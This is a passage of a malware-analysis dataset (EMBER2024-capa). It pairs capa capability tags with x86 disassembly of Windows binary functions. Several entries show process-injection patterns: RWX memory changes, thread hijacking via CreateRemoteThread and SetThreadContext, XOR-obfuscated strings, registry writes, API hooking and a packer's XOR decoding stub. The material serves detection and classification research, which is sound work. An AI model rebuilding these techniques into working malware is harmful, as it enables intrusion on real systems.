joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100876a0
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10090bb0
add esp, 0xc
mov edx, 0xce
xor ecx, ecx
mov al, byte [ecx + 0x100d542c]
xor al, dl
mov byte [ebp + ecx - 0x124], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x100876d0
lea eax, [ebp - 0x124]
mov byte [ebp - 0x109], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10087761
lea eax, [ebp - 0x128]
push eax
push 0x40
push 0x20
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x20
lea eax, [ebp - 0x108]
push 0x101e6d1b
push eax
call fcn.10090630
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x128]
lea eax, [ebp - 0x108]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x10086310
jmp dword [pe_dos_header]

Function at 0x10087790
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
mov edx, 0xd6
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x2f4], eax
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x100d63a4]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x100877c0
push 0x3f71e887
lea ecx, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.100894d0
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f8]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x2f4]
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x240]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
Function at 0x10087ad0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [0x101e6e9d], 1
mov edx, 6
xor ecx, ecx
nop
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [ebp + ecx - 0x4c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x10087af0
lea eax, [ebp - 0x50]
mov byte [ebp - 0x11], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x4c]
push eax
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10087b5e
push 4
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 1
push eax
push 4
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x75526f4e
push eax
push dword [ebp - 0x50]
mov word [ebp - 8], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100d6400]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x10087b70
lea eax, [ebp - 0x58]
mov byte [ebp - 0x12], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x3c]
push eax
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10087be1
push 4
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 1
push eax
push 4
mov eax, 0x100d6448
lea ecx, [ebp - 0x10]
push 0
sub eax, 0x38d41ae2
push eax
call fcn.10089550
push eax
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x58]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov byte [0x101e6e9d], 0
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
Function at 0x10087c00
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x8c], 0
mov edx, 0xf
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.LMEZZQY_KEYnnnqmSLLVPH]
xor al, dl
mov byte [ebp + ecx - 0x40], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x18
jb 0x10087c30
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 0x28], 0
call esi
test eax, eax
jne 0x10087cfe
mov edx, 0x15
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.V_Kxnz_pg_wHDF]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10087c70
lea eax, [ebp - 0x14]
mov byte [ebp - 5], 0
push eax
call esi
test eax, eax
jne 0x10087cfe
mov edx, 6
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.BTMk]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10087ca0
lea eax, [ebp - 0x24]
mov byte [ebp - 0x15], 0
push eax
call esi
test eax, eax
jne 0x10087cfe
mov eax, 0x100d6484
lea ecx, [ebp - 0x70]
sub eax, 0x32593faf
push eax
call fcn.100895e0
push eax
call esi
test eax, eax
jne 0x10087cfe
mov eax, str.S_Kxnz_pg_wHDF
lea ecx, [ebp - 0x80]
sub eax, 0x43f2140e
push eax
call fcn.10089620
push eax
call esi
test eax, eax
jne 0x10087cfe
xor al, al
jmp 0x10087d00
mov al, 1
test al, al
jne 0x10087e21
mov byte [0x101e6e9d], 1
mov edx, 6
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [ebp + ecx - 0x60], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x10087d20
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x84]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x60]
mov byte [ebp - 0x25], 0
push eax
push getpeername
call esi
test eax, eax
jne 0x10087d9b
push 4
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
push 4
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x75526f4e
push eax
push dword [ebp - 0x84]
mov word [ebp - 8], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x84]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x100d6400]
xor al, dl
mov byte [ebp + ecx - 0x50], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x10087da2
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x26], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x50]
push eax
push getpeername
call esi
test eax, eax
jne 0x10087e1a
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x10]
push 4
lea eax, [ebp - 0x88]
push eax
push 4
mov eax, 0x100d6448
push 0
sub eax, 0x38d41ae2
push eax
call fcn.10089550
push eax
push dword [ebp - 0x84]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x8c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [0x101e6e9d], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
Function at 0x100895e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x34
xor eax, eax
mov dl, byte [edi + eax + 0x32593faf]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x100895f1
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10089620
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x15
xor eax, eax
mov dl, byte [edi + eax + 0x43f2140e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10089631
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10089ba0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10089d50
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x10089c6d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x10089bea
mov eax, dword [ebp - 4]
cmp eax, dword [0x100e4004]
ja 0x10089bea
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10089bba
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10090bb0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10089c10
jmp 0x10089c6d
cmp dword [ebp - 0x14], 0x10000
jne 0x10089c53
cmp dword [ebp - 0x18], 0x10000
jb 0x10089c53
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10089c46
mov eax, dword [ebp - 8]
jmp 0x10089c6f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10089c68
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10089d50
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10089bba
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10089c80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10089d80
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10089d45
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x10089cc5
mov eax, dword [ebp - 4]
cmp eax, dword [0x100e4004]
ja 0x10089cc5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10089c95
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10090bb0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10089ceb
jmp 0x10089d45
cmp dword [ebp - 0x14], 0x10000
jne 0x10089d2e
cmp dword [ebp - 0x18], 0x10000
jb 0x10089d2e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10089d21
mov eax, dword [ebp - 8]
jmp 0x10089d47
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10089d40
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10089d80
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10089c95
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10089db0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1008a1a0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x101edc84], 0
jne 0x10089ded
cmp dword [0x101edc80], 0
je 0x10089ded
mov eax, dword [0x101edc80]
mov dword [0x101edc84], eax
cmp dword [0x101edc84], 0
je 0x10089e6a
mov ecx, dword [0x101edc84]
cmp dword [ecx + 8], 0
je 0x10089e6a
mov edx, dword [0x101edc84]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x10089e6a
mov ecx, dword [0x101edc84]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x10089e6a
mov eax, dword [0x101edc84]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x10089e39
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x10089e40
xor eax, eax
jmp 0x10089f89
mov ecx, dword [0x101edc84]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.10090bb0
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10089f89
mov edx, dword [0x101edc80]
mov dword [0x101edc84], edx
jmp 0x10089e86
mov eax, dword [0x101edc84]
mov ecx, dword [eax + 4]
mov dword [0x101edc84], ecx
cmp dword [0x101edc84], 0
je 0x10089ec6
cmp dword [0x101edc84], 0
je 0x10089ec4
mov edx, dword [0x101edc84]
cmp dword [edx + 8], 0
je 0x10089ec4
mov eax, dword [0x101edc84]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x10089ec4
mov edx, dword [0x101edc84]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x10089ec4
jmp 0x10089e1e
jmp 0x10089e78
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10089f90
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10089f87
mov eax, dword [ebp - 0x18]
mov dword [0x101edc84], eax
mov ecx, dword [0x101edc84]
mov dword [ecx], 0x52727464
mov edx, dword [0x101edc84]
mov dword [edx + 8], 0
mov eax, dword [0x101edc84]
mov ecx, dword [0x101edc80]
mov dword [eax + 4], ecx
mov edx, dword [0x101edc84]
mov dword [0x101edc80], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x101edc84]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10089f57
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10089f77
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x10089f4e
mov eax, dword [0x101edc84]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x10089e1e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100a3d51
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100a3bd0

Function at 0x100a85d1
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100a84d6

Function at 0x100aa32c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100a9fec

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x78352687
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x275b63b0
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4206be
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00420360

Function at 0x4206c9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004204ef

Function at 0x420ac3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040d820
mov eax, dword [0x483e00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041e28f
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x420b05
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x420c61
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042a250
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4867b0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00421862
mov ecx, dword [esi*4 + 0x4867b0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x420c5a
cmp eax, dword [edi + ecx + 0x24]
jne 0x420c5a
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420c5a
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00421862
add esp, 0x14
test edx, edx
jl 0x420c5a
jg 0x420bd0
test eax, eax
jb 0x420c5a
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x420c5a
jl 0x420bea
cmp dword [ebp - 0x1008], eax
ja 0x420c5a
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x420c08
test ebx, ebx
je 0x420c41
cmp ecx, edi
jae 0x420c41
mov al, byte [ecx]
cmp al, 0xd
jne 0x420c22
lea eax, [edi - 1]
cmp ecx, eax
jae 0x420c2e
cmp byte [ecx + 1], 0xa
jne 0x420c2e
inc ecx
jmp 0x420c2e
movzx eax, al
movsx eax, byte [eax + 0x4840c8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x420c08
cmp edx, ebx
jne 0x420c08
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x420c5f
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040cc34
leave
ret
Function at 0x420d00
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4867b0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x420d40
cmp byte [ebx], 0xa
jne 0x420d40
or byte [eax + edi + 0x28], 4
jmp 0x420d45
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x420e43
mov al, byte [edx]
cmp al, 0x1a
je 0x420e25
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x420d74
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x420d99
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x420da3
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x420d56
jmp 0x420e43
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420e20
cmp dword [ebp - 0xc], 0
je 0x420e20
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4867b0]
test byte [eax + edi + 0x28], 0x48
je 0x420dfa
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x420de5
mov byte [esi], dl
jmp 0x420df6
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4867b0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x420e43
cmp byte [ebp - 1], 0xa
jne 0x420e09
cmp esi, ebx
jne 0x420e09
mov byte [esi], 0xa
jmp 0x420e42
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00421880
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x420e43
mov byte [esi], 0xd
jmp 0x420e42
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4867b0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x420e3f
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x420e43
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x420e4c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4867b0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x420e8f
cmp word [esi], dx
jne 0x420e8f
or byte [edi + eax + 0x28], 4
jmp 0x420e94
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x420fe7
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x420fc7
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x420ed6
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x420f0c
cmp eax, edx
jae 0x420f18
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x420eae
jmp 0x420fe7
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420fc3
cmp dword [ebp - 0x14], 0
je 0x420fc3
mov eax, dword [ebx*4 + 0x4867b0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x420f9b
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x420f64
mov word [esi], cx
jmp 0x420f97
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4867b0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4867b0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4867b0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x420fe7
pop ebx
cmp word [ebp - 4], bx
jne 0x420fac
cmp esi, dword [ebp + 0xc]
jne 0x420fac
mov word [esi], bx
jmp 0x420fe4
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00421880
add esp, 0x10
cmp word [ebp - 4], bx
je 0x420fe7
push 0xd
jmp 0x420fe0
mov ecx, dword [ebx*4 + 0x4867b0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x420fde
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x420fe7
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret